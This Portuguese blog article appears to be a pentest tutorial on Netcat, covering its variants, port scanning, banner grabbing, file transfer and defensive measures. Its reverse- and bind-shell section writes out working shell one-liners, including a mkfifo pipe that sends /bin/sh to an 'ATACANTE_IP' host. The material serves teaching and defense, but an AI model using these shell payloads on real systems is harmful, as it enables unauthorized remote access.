Netcat (nc): o canivete suíço das conexões TCP e UDP

Ferramenta

Netcat (nc): o canivete suíço das conexões TCP e UDP

Rodrigo ColissiRodrigo Colissi
04 de setembro de 20268 min de leitura
Pentest

Resumo: Netcat (comandos nc ou ncat) é a ferramenta de rede que lê e escreve dados em conexões TCP/UDP e se tornou item obrigatório em qualquer caixa de ferramentas de pentest. Neste guia você vê o que ela faz, os comandos essenciais para port scanning, banners, transferência de arquivos e shells, e como detectar e se defender do uso malicioso.

O que é

Netcat é um utilitário de rede que lê e escreve dados através de conexões TCP/UDP, funcionando tanto como cliente quanto como servidor: no uso mais simples, nc host porta abre uma conexão e transfere tudo que chega da entrada padrão (o teclado, um arquivo ou outro programa) para o destino, e devolve na tela tudo que voltar pela rede. Lançado originalmente em 1995 por Hobbit e consolidado na versão 1.10 em 1996, o programa ganhou o apelido de "canivete suíço" das redes porque, com poucos parâmetros, substitui clientes de serviços, escaneia portas, transfere arquivos, testa UDP e até entrega um shell remoto — sem depender de nenhuma outra ferramenta. Por ser minúsculo, sem interface gráfica e disponível em praticamente todo Linux, macOS e Windows (via Ncat), ele também é a ferramenta favorita de atacantes para movimentação lateral e exfiltração de dados — inclusive no ataque do grupo BREEZE COMET a bancos brasileiros, reportado na matéria sobre o malware com IA.

Principais características

O Netcat clássico (nc110) foi desenhado para ser um "back-end" confiável, dirigível por outros programas e scripts. As capacidades centrais:

CaracterísticaDescrição
TCP e UDPConecta e escuta usando os dois protocolos (flag -u)
Cliente e servidorMesma ferramenta conecta (nc host porta) ou escuta (nc -l -p porta)
Qualquer portaConecta ou escuta em qualquer porta, incluindo as reservadas (como root)
Port scanningVarredura de portas embutida com modo zero-I/O (-z) e randomização
DNS reversoResolução e checagem de nomes com avisos de inconsistência (-v)
Hex dumpRegistro em hexadecimal de todo o tráfego enviado e recebido (-o arquivo)
Execução de programaOpção -e para executar um comando ao aceitar conexão (removida em várias versões modernas)
Origem configurávelPorta e endereço de origem escolhidos manualmente (-p, -s)

Como o projeto original parou na versão 1.10, a comunidade manteve o espírito em três grandes linhagens, com diferenças importantes:

VarianteMantenedorDestaques
Netcat clássico (nc110)Hobbit (1996)Original, com -e e port scanner embutido
GNU NetcatProjeto GNUReescreve o clássico com suporte a IPv6 e mais opções
OpenBSD NetcatProjeto OpenBSDPadrão em Debian/Ubuntu/Kali; tira o -e, adiciona proxy (-X/-x) e keep-open (-k)
NcatProjeto NmapReescrita moderna: SSL/TLS, proxy SOCKS/HTTP, IPv6, broker de conexões e controle de acesso

O Nmap (o scanner de redes de referência em pentest) distribui o Ncat em sua suíte, e é a opção recomendada no Windows.

Casos de uso práticos

Verificação de portas e conectividade

O modo -z (zero-I/O) testa a porta sem enviar dados, apenas informando se a conexão foi aceita. É a forma mais rápida de validar um serviço:

nc -zv -w2 10.0.0.5 22
nc -zv -w1 10.0.0.5 20-25

O primeiro comando verifica se a porta 22 (SSH) está aberta; o segundo testa uma faixa de portas. O -w limita o tempo de espera por porta — sem ele, a varredura de uma faixa grande pode demorar minutos.

Conectar direto na porta de um serviço revela o banner (a mensagem de identificação que o serviço envia ao receber uma conexão) — útil para descobrir versões e serviços ativos sem ferramentas pesadas:

nc -v 10.0.0.5 22

Para serviços HTTP, é possível fazer a requisição na mão e ver a resposta crua:

printf 'GET / HTTP/1.0\r\n\r\n' | nc exemplo.com 80

Transferência de arquivos

Com um Netcat escutando de um lado e outro enviando, qualquer arquivo atravessa a rede sem precisar de SCP, FTP ou servidor web. No receptor:

nc -lvp 4444 > arquivo.bin

No remetente, a mesma conexão recebe o conteúdo via pipe:

cat arquivo.bin | nc 10.0.0.10 4444

O tráfego viaja em texto puro — útil para redes de teste, mas jamais para dados sensíveis sem criptografia (veja a seção de defesa).

Chat simples entre máquinas

Dois Netcat ligados formam um pipe bidirecional: o que um digita aparece na tela do outro. No servidor:

nc -lvp 5555

No cliente:

nc 10.0.0.10 5555

Reverse shell e bind shell

O uso mais conhecido (e o mais perigoso) é entregar um shell remoto. Na reverse shell, a máquina alvo conecta de volta para o atacante — útil quando o alvo está atrás de firewall que bloqueia conexões de entrada. O atacante escuta:

nc -lvnp 4444

E na máquina alvo, nas versões com -e (clássico e GNU):

nc ATACANTE_IP 4444 -e /bin/bash

Nas versões modernas (OpenBSD/Ncat) a opção -e foi removida por segurança; o mesmo efeito se obtém com um named pipe (arquivo especial que conecta a saída de um processo à entrada de outro):

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATACANTE_IP 4444 > /tmp/f

Na bind shell, o alvo escuta e o atacante conecta: nc -lvnp 4444 -e /bin/bash na vítima e nc ALVO_IP 4444 no atacante. Como bind shells ficam esperando conexão em uma porta aberta, elas são fáceis de detectar por firewalls e varreduras — por isso os atacantes preferem a reverse shell.

Testes com UDP

Serviços UDP (DNS na porta 53, SNMP na 161) não respondem a conexões TCP. O Netcat cobre esse cenário com a flag -u:

nc -u -zv -w2 10.0.0.5 53
nc -ulvp 161

Como se defender dos riscos

Netcat é uma ferramenta de dupla face: legítima para administradores e pentesters, mas onipresente em ataques por ser pequena, silenciosa e não exigir instalação. O grupo BREEZE COMET, por exemplo, usou ferramentas clássicas de rede durante a movimentação lateral em bancos brasileiros — o mesmo padrão visto em dezenas de campanhas. As defesas:

Tráfego nunca criptografado por padrão. Tudo que passa pelo Netcat clássico viaja em texto puro, legível por quem estiver no caminho (sniffers, proxies, IDS). Prefira o Ncat com SSL (ncat --ssl -l 4444) ou encapsule a sessão em SSH/VPN sempre que houver dados sensíveis.

Binário legítimo, uso criminoso. Netcat costuma já estar instalado no servidor comprometido, então o atacante não precisa subir nada novo. Audite a presença de nc, ncat e netcat em servidores de produção e documente quem usa e para quê — binários desconhecidos fora de caixas de administração são um forte indicador de comprometimento.

Reverse shells e bind shells são o alvo da detecção. Monitore conexões de saída incomuns (egress): uma conexão TCP de um servidor web para um IP externo na porta 4444 é o padrão clássico de reverse shell. Bloqueie portas de saída não usadas no firewall de borda, restrinja egress por política e use soluções de detecção em endpoint (EDR) que sinalizem execução de shells e pipes anômalos.

Execução de comandos via -e. Em sistemas onde o Netcat clássico existe, um atacante com acesso pode transformar qualquer conexão em shell. Remova ou troque por Ncat/OpenBSD Netcat (que não têm -e), aplique controle de aplicação (allowlisting) e rode serviços com o menor privilégio possível.

Uso em movimentação lateral e exfiltração. Netcat serve para "pular" entre máquinas da rede interna e para vazar dados por canais que parecem tráfego comum. Segmente a rede, monitore o tráfego interno (não só o de borda) e restrinja quem pode executar ferramentas de rede nas estações de trabalho.

Conclusão

Três décadas depois do lançamento, o Netcat segue sendo a definição de ferramenta mínima e universal: com uma única linha de comando ele testa um serviço, transfere um arquivo ou entrega um shell — e é exatamente essa onipresença que o torna tão valioso para administradores quanto para atacantes. Dominar os comandos básicos é indispensável para quem trabalha com rede ou pentest, e conhecer os padrões de uso malicioso (reverse shells, tráfego em claro, binários não documentados) é o que permite detectá-lo antes que vire um problema. A lição de defesa vale para qualquer ferramenta dupla-face: saber o que ela faz é o primeiro passo para reconhecer quando está sendo usada contra você.

Fontes e leituras adicionais

Gostou? Receba novos conteúdos por e-mail.

Entre na comunidade

Discussões técnicas e novidades em primeira mão.